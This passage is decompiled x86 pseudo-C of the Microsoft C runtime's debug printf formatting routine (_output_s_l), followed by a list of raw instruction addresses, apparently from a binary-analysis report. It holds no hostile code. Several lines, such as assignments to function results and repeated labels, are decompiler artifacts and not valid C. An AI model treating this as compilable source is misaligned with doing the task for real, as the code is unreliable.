																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				__eflags =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L87;
																			}
																			goto L83;
																		case 5:
																			L124:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) >= 0) {
																				L126:
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) != 0) {
																					L129:
																					__eflags =  *(__ebp - 0x30) - 0x200;
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L131:
																					__eflags =  *(__ebp - 0x30) - 0xa3;
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041BA60(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						__eflags =  *(__ebp - 0x20);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					__ecx =  *(__eax - 8);
																					__edx =  *(__eax - 4);
																					 *(__ebp - 0x2a8) =  *(__eax - 8);
																					 *(__ebp - 0x2a4) =  *(__eax - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AFF0(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a8;
																					_push(__ebp - 0x2a8);
																					__eax =  *0x440374; // 0xc0d8c8fb
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																						__eflags =  *(__ebp - 0x30);
																						if( *(__ebp - 0x30) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AFF0(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x440380; // 0xc0d7763b
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						__eflags =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AFF0(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0xc0d772bb
																							E00424860(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					__eflags =  *( *(__ebp - 4)) - 0x2d;
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						__edx =  *(__ebp - 4);
																						__edx =  *(__ebp - 4) + 1;
																						__eflags = __edx;
																						 *(__ebp - 4) = __edx;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
																					do {
																						L190:
																						__eflags =  *(__ebp - 0x28);
																						if( *(__ebp - 0x28) != 0) {
																							goto L216;
																						}
																						goto L191;
																					} while ( *(__ebp - 0x324) > 0x37);
																					goto L72;
																				}
																				L127:
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags = __ecx - 0x67;
																				if(__ecx != 0x67) {
																					goto L129;
																				}
																				L128:
																				 *(__ebp - 0x30) = 1;
																				goto L131;
																			}
																			L125:
																			 *(__ebp - 0x30) = 6;
																			goto L131;
																		case 6:
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			__eflags =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E004285E0(__ebp + 0x14);
																				 *(__ebp - 0x284) = __ax;
																				__cl =  *(__ebp - 0x284);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x280) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E00428620(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x280) = E004344A0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				__eflags =  *(__ebp - 0x280);
																				if( *(__ebp - 0x280) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		case 7:
																			L144:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L153;
																		case 8:
																			L109:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x298) = E004285E0(__ebp + 0x14);
																			__eax = E00434180();
																			__eflags = __eax;
																			if(__eax != 0) {
																				L119:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x298);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x298);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			}
																			L110:
																			__edx = 0;
																			__eflags = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x32c) = 0;
																			} else {
																				 *(__ebp - 0x32c) = 1;
																			}
																			__eax =  *(__ebp - 0x32c);
																			 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																			__eflags =  *(__ebp - 0x29c);
																			if( *(__ebp - 0x29c) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E520();
																				__esp = __esp + 0x14;
																				__eflags = __eax - 1;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			__eflags =  *(__ebp - 0x29c);
																			if( *(__ebp - 0x29c) != 0) {
																				L118:
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			} else {
																				L117:
																				 *((intOrPtr*)(L00423010(__ecx))) = 0x16;
																				__eax = E00422DA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2f8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AFC0(__ecx);
																				__eax =  *(__ebp - 0x2f8);
																				goto L229;
																			}
																		case 9:
																			L151:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000200;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E004285E0(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004285E0(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E004285E0(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2b4) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004285E0(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428600(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00428600(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L170;
																			}
																		case 0xa:
																			goto L0;
																		case 0xb:
																			L90:
																			__eflags =  *(__ebp - 0x30) - 0xffffffff;
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x328) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x328) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x328);
																			 *(__ebp - 0x290) =  *(__ebp - 0x328);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E004285E0(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			__eflags =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L101:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404478
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x28c) =  *(__ebp - 4);
																				while(1) {
																					L104:
																					__ecx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					__eflags = __ecx;
																					if(__ecx == 0) {
																						break;
																					}
																					L105:
																					__eax =  *(__ebp - 0x28c);
																					__ecx =  *( *(__ebp - 0x28c));
																					__eflags = __ecx;
																					if(__ecx == 0) {
																						break;
																					}
																					L106:
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				}
																				L107:
																				__eax =  *(__ebp - 0x28c);
																				__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				__eflags = __eax;
																				 *(__ebp - 0x24) = __eax;
																				goto L108;
																			} else {
																				L94:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404468
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x294) =  *(__ebp - 4);
																				while(1) {
																					L97:
																					__edx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					__eflags =  *(__ebp - 0x290);
																					if( *(__ebp - 0x290) == 0) {
																						break;
																					}
																					L98:
																					__ecx =  *(__ebp - 0x294);
																					__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L99:
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				}
																				L100:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L108:
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			}
																		case 0xc:
																			L145:
																			 *(__ebp - 8) = 0xa;
																			while(1) {
																				L153:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E004285E0(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E004285E0(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								E004285E0(__ebp + 0x14) = __ax & 0x0000ffff;
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																								 *(__ebp - 0x2b4) = __edx;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E004285E0(__ebp + 0x14);
																								__ax = __eax;
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						}
																					} else {
																						__eax = __ebp + 0x14;
																						 *(__ebp - 0x2b8) = E00428600(__ebp + 0x14);
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				} else {
																					__ecx = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428600(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					goto L170;
																				}
																				goto L166;
																			}
																		case 0xd:
																			L147:
																			 *(__ebp - 0x260) = 0x27;
																			L148:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x14) = 0x30;
																				 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																				__eflags =  *(__ebp - 0x260) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			while(1) {
																				L153:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E004285E0(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E004285E0(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								E004285E0(__ebp + 0x14) = __ax & 0x0000ffff;
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																								 *(__ebp - 0x2b4) = __edx;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E004285E0(__ebp + 0x14);
																								__ax = __eax;
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						}
																					} else {
																						__eax = __ebp + 0x14;
																						 *(__ebp - 0x2b8) = E00428600(__ebp + 0x14);
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				} else {
																					__ecx = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428600(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					goto L170;
																				}
																				goto L166;
																			}
																		case 0xe:
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																	}
																case 8:
																	L30:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																	goto L33;
																case 9:
																	L31:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	goto L33;
																case 0xa:
																	L29:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000001;
																	 *(__ebp - 0x10) = __ecx;
																	goto L33;
																case 0xb:
																	L28:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	goto L33;
																case 0xc:
																	L32:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000008;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																	goto L33;
																case 0xd:
																	L33:
																	goto L218;
															}
														} else {
															if(0 == 0) {
																 *(_t557 - 0x314) = 0;
															} else {
																 *(_t557 - 0x314) = 1;
															}
															_t543 =  *(_t557 - 0x314);
															 *(_t557 - 0x278) =  *(_t557 - 0x314);
															if( *(_t557 - 0x278) == 0) {
																_push(L"(\"Incorrect format specifier\", 0)");
																_push(0);
																_push(0x460);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																_push(2);
																_t526 = L0041E520();
																_t559 = _t559 + 0x14;
																if(_t526 == 1) {
																	asm("int3");
																}
															}
															L14:
															if( *(_t557 - 0x278) != 0) {
																goto L16;
															} else {
																 *((intOrPtr*)(L00423010(_t543))) = 0x16;
																E00422DA0(_t528, _t543, _t555, _t556, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																 *(_t557 - 0x2f0) = 0xffffffff;
																E0041AFC0(_t557 - 0x40);
																_t499 =  *(_t557 - 0x2f0);
																L229:
																return E0042BF30(_t499, _t528,  *(_t557 - 0x48) ^ _t557, _t547, _t555, _t556);
															}
														}
													}
													L219:
													__eflags =  *(_t557 - 0x25c);
													if( *(_t557 - 0x25c) == 0) {
														L222:
														 *(_t557 - 0x334) = 1;
														L223:
														_t530 =  *(_t557 - 0x334);
														 *(_t557 - 0x2e0) =  *(_t557 - 0x334);
														__eflags =  *(_t557 - 0x2e0);
														if( *(_t557 - 0x2e0) == 0) {
															_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
															_push(0);
															_push(0x8f5);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t504 = L0041E520();
															_t559 = _t559 + 0x14;
															__eflags = _t504 - 1;
															if(_t504 == 1) {
																asm("int3");
															}
														}
														__eflags =  *(_t557 - 0x2e0);
														if( *(_t557 - 0x2e0) != 0) {
															 *(_t557 - 0x300) =  *(_t557 - 0x24c);
															E0041AFC0(_t557 - 0x40);
															_t499 =  *(_t557 - 0x300);
														} else {
															 *((intOrPtr*)(L00423010(_t530))) = 0x16;
															E00422DA0(_t528, _t530, _t555, _t556, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
															 *(_t557 - 0x2fc) = 0xffffffff;
															E0041AFC0(_t557 - 0x40);
															_t499 =  *(_t557 - 0x2fc);
														}
														goto L229;
													}
													L220:
													__eflags =  *(_t557 - 0x25c) - 7;
													if( *(_t557 - 0x25c) == 7) {
														goto L222;
													}
													L221:
													 *(_t557 - 0x334) = 0;
													goto L223;
												}
											}
											L187:
											__eflags =  *(__ebp - 0x24);
											if( *(__ebp - 0x24) == 0) {
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												goto L190;
											}
											L188:
											__eax =  *(__ebp - 4);
											__ecx =  *( *(__ebp - 4));
											__eflags = __ecx - 0x30;
											if(__ecx == 0x30) {
												goto L190;
											}
											goto L189;
										}
										L183:
										__eax =  *(__ebp - 8);
										asm("cdq");
										__ecx =  *(__ebp - 0x2bc);
										__edx =  *(__ebp - 0x2c0);
										__eax = E00430A00( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
										 *(__ebp - 0x2ac) = __eax;
										__eax =  *(__ebp - 8);
										asm("cdq");
										__eax =  *(__ebp - 0x2bc);
										__ecx =  *(__ebp - 0x2c0);
										 *(__ebp - 0x2c0) = E00430A80( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
										 *(__ebp - 0x2bc) = __edx;
										__eflags =  *(__ebp - 0x2ac) - 0x39;
										if( *(__ebp - 0x2ac) > 0x39) {
											__edx =  *(__ebp - 0x2ac);
											__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
											__eflags = __edx;
											 *(__ebp - 0x2ac) = __edx;
										}
										__eax =  *(__ebp - 4);
										__cl =  *(__ebp - 0x2ac);
										 *( *(__ebp - 4)) = __cl;
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										L181:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L183;
										}
										goto L182;
									}
								}
								L168:
								__eflags =  *(__ebp - 0x2b8);
								if( *(__ebp - 0x2b8) >= 0) {
									goto L170;
								}
								goto L169;
								L170:
								__ecx =  *(__ebp - 0x2b8);
								 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
								__edx =  *(__ebp - 0x2b4);
								 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
								goto L171;
							}
						}
					}
				}
			}

0x00435214
0x00435214
0x00435214
0x00435214
0x00435214
0x00435214
0x00435214
0x0043521b
0x0043521b
0x0043521b
0x00435231
0x00435231
0x00435231
0x0043523b
0x0043523b
0x00435241
0x00435243
0x0043524d
0x0043524d
0x00435250
0x00435253
0x00435253
0x0043527a
0x0043527a
0x0043527d
0x0043527d
0x00435282
0x004352a4
0x004352a4
0x004352aa
0x004352cc
0x004352cc
0x004352cf
0x00435316
0x00435316
0x00435319
0x00435336
0x0043533a
0x00435342
0x00435342
0x00435344
0x0043534a
0x0043531b
0x0043531b
0x0043531f
0x00435327
0x00435328
0x0043532e
0x0043532e
0x004352d1
0x004352d4
0x004352d4
0x004352d7
0x004352f5
0x00435301
0x00435304
0x00435305
0x0043530b
0x004352d9
0x004352d9
0x004352dd
0x004352e5
0x004352e6
0x004352e7
0x004352ed
0x004352ed
0x00435311
0x004352ac
0x004352ac
0x004352b8
0x004352be
0x004352be
0x00435284
0x00435284
0x00435290
0x00435296
0x00435296
0x00435353
0x00435353
0x00435356
0x00000000
0x00000000
0x00435358
0x00435358
0x0043535f
0x00000000
0x00000000
0x00435361
0x00435361
0x0043536c
0x00435372
0x00435374
0x0043537a
0x0043537d
0x0043537f
0x00435385
0x0043538e
0x00435393
0x004353b0
0x004353b3
0x004353b3
0x004353b8
0x004353bd
0x004353bd
0x004353c3
0x004353c5
0x004353cb
0x004353d1
0x004353d1
0x004353da
0x004353da
0x004353c3
0x004353e0
0x004353e4
0x004353f2
0x004353f5
0x004353f8
0x004353ff
0x00435401
0x00435401
0x004353e6
0x004353e6
0x004353e6
0x0043540e
0x0043540e
0x00435414
0x00435416
0x00435416
0x0043541d
0x00435420
0x00435423
0x00435423
0x00435423
0x00435429
0x0043542c
0x0043542f
0x00435431
0x00000000
0x00000000
0x00435433
0x00435439
0x00435439
0x0043543f
0x004354bc
0x004354bf
0x004354c2
0x004354c5
0x004354c8
0x004354cb
0x004354d1
0x004354d1
0x004354d7
0x00435502
0x00435502
